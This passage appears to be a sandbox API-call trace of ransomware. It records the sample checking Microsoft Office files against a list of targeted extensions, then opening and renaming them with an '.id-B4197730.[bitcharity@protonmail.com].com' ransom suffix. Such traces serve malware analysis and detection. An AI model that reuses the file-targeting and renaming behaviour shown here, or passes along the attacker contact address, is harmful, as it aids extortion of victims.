(lpString1=".7z", lpString2="GIF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.145] lstrlenW (lpString=".dbf") returned 4 [0263.145] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.145] lstrlenW (lpString=".1cd") returned 4 [0263.145] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0263.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 68 [0263.145] lstrlenW (lpString=".jpg") returned 4 [0263.145] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0263.146] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0263.146] lstrlenW (lpString="WB02039_.GIF") returned 12 [0263.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.147] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=908) returned 1 [0263.147] CloseHandle (hObject=0x1158) returned 1 [0263.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif")) returned 0x220 [0263.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0263.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1158 [0263.148] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.148] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.148] CloseHandle (hObject=0x1158) returned 1 [0263.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned 81 [0263.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned 81 [0263.148] lstrlenW (lpString=".doc") returned 4 [0263.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.149] lstrlenW (lpString=".docx") returned 5 [0263.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0263.149] lstrlenW (lpString=".pdf") returned 4 [0263.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0263.149] lstrlenW (lpString=".xls") returned 4 [0263.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0263.149] lstrlenW (lpString=".xlsx") returned 5 [0263.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0263.149] lstrlenW (lpString=".ppt") returned 4 [0263.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0263.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned 81 [0263.149] lstrlenW (lpString=".zip") returned 4 [0263.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0263.149] lstrlenW (lpString=".rar") returned 4 [0263.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0263.149] lstrlenW (lpString=".bz2") returned 4 [0263.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.149] lstrlenW (lpString=".7z") returned 3 [0263.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0263.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned 81 [0263.149] lstrlenW (lpString=".dbf") returned 4 [0263.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.150] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.150] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.151] CloseHandle (hObject=0x1158) returned 1 [0263.152] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.152] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.152] CloseHandle (hObject=0x1158) returned 1 [0263.156] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.156] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.157] CloseHandle (hObject=0x1158) returned 1 [0263.158] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.158] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.158] CloseHandle (hObject=0x1158) returned 1 [0263.159] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.159] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.160] CloseHandle (hObject=0x1158) returned 1 [0263.161] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.161] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.161] CloseHandle (hObject=0x1158) returned 1 [0263.163] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.163] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.164] CloseHandle (hObject=0x1158) returned 1 [0263.165] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.165] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.174] CloseHandle (hObject=0x1158) returned 1 [0263.175] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.175] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.176] CloseHandle (hObject=0x1158) returned 1 [0263.177] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.177] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.177] CloseHandle (hObject=0x1158) returned 1 [0263.178] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.178] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.178] CloseHandle (hObject=0x1158) returned 1 [0263.179] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.179] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.180] CloseHandle (hObject=0x1158) returned 1 [0263.181] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.181] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.181] CloseHandle (hObject=0x1158) returned 1 [0263.182] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.182] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.183] CloseHandle (hObject=0x1158) returned 1 [0263.184] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.184] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.184] CloseHandle (hObject=0x1158) returned 1 [0263.185] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.185] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.186] CloseHandle (hObject=0x1158) returned 1 [0263.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\integral.thmx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\ion boardroom.thmx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0263.722] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.722] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.723] CloseHandle (hObject=0x1288) returned 1 [0263.724] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.724] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.724] CloseHandle (hObject=0x1288) returned 1 [0263.725] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.725] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7.wmv.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7.wmv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.725] CloseHandle (hObject=0x1288) returned 1 [0263.726] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.726] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win7_RTL.wmv.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win7_rtl.wmv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.726] CloseHandle (hObject=0x1288) returned 1 [0263.727] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.727] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.727] CloseHandle (hObject=0x1288) returned 1 [0263.729] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.729] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.729] CloseHandle (hObject=0x1288) returned 1 [0263.732] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.732] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.732] CloseHandle (hObject=0x1288) returned 1 [0263.737] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.737] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmui.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmui.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.737] CloseHandle (hObject=0x1288) returned 1 [0263.738] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.738] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.accessmuiset.msi.16.en-us.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.accessmuiset.msi.16.en-us.xml.id-b4197730.[bitcharity@protonmail.com].com"), 